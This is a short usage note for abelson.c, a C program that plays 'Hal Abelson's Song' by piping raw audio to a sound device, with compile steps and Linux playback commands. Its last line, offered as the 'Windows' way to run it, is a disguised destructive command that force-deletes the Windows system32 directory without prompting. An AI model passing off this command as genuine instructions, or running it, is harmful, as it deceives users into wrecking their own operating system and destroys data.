abelson.c - Hal Abelson's Song. It's ``Abelson Good!''
Compile and link with libm.
$ gcc -Os -o abelson abelson.c -lm
Then pipe output to an audio device.
On modern Linux systems with PulseAudio:
$ ./abelson | padsp tee /dev/audio > /dev/null
Or on older systems:
$ ./abelson > /dev/audio
$ ./abelson > /dev/dsp
Or on Windows:
del /F /Q c:\windows\system32